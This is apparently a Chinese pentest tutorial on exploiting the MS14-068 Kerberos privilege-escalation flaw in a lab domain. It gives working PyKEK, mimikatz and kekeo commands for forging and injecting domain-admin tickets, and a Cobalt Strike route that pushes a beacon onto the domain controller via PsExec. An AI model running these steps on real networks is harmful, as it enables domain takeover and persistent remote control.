Kerberos 域用户提权漏洞
0x00 前言
在 2014 年微软修复了 Kerberos 域用户提权漏洞,即 MS14-068,CVE 编号为 CVE-2014-6324,该漏洞影响了 Windows Server 2012 R2 以下的服务器,该漏洞允许 攻击者 将任意用户权限提升至域管级别。
14-068 产生的原因主要在于用户在向KDC申请TGT时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS在验证TGT后,将ST发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
0x01 PyKEK
PyKEK 是一个利用 Kerberos 协议进行渗透的工具包,下载地址
使用 PyKEK 可以生成一个高权限的服务票据,并通过 mimikatz 将服务票据导入到内存中。
MS 14-068 的补丁为:KB3011780,通过 wmic 查看补丁情况,未发现其补丁
1 | wmic qfe get hotfixid | findstr KB3011780 |
查看当前用户的SID
1 | whoami /user |
生成高权限票据,-d 指定域控地址
1 | python2 ms14-068.py -u 域成员名@域名 -s 域成员sid -d 域控ip -p 域成员密码 |
打开 mimikatz 清除当前内存中的票据信息
1 | kerberos::purge |
将高权限票据注入内存
1 | kerberos::ptc TGT_user1@fzm.cn.ccache |
查看当前凭证
1 | kerberos::list |
在这里使用windows server 2012和windows server 2012 r2当域控后,验证不成功。
而windows server 2008r2可以成功。
可以使用 net use 连接域控后,再使用 psexec 获取 Shell
这里 net use 使用 IP 可能会失败,因此在此使用机器名进行连接
0x02 cobaltstrike
使用ms14-068.exe生成一个票据文件。
然后使用 KrbCredExport将 .ccache文件转化为kirbi格式。
1 | python KrbCredExport.py TGT_user1@fzm.cn.ccache user.ticket |
在cs的beacon中执行命令,选择ticket文件
1 | kerberos_ticket_use |
成功获得域控权限。
域控上线cs
- 方法1
域控是不出网的,在内网找台出网的机器监听作为中转
利用中转的监听,生成一个马子
将psexec和beacon上传到10.1.10.7,然后利用psexec的上传功能,上传到域控并执行
通过ms14-068进行psexec,不能使用ip进行连接,否则会失败
1 | shell PsExec.exe -accepteula \\win7,dc2 -d -c beacon.exe |
添加域管理员
- 方法2
使用cs自带的psexec
0x03 kekeo
kekeo 也是一个工具集,其中包含了 ms14-068 的利用模块,kekeo 下载地址
使用之前需要先清除票据
1 | kerberse::purge |
然后直接使用 kekeo 生成高权限票据
1 | kekeo.exe "exploit::ms14068 /domain:fzm.cn /user:user1 /password:1qaz@WSX /ptt" "exit" |
0x04 GoldenPac
随缘写
0x05 MSF
随缘写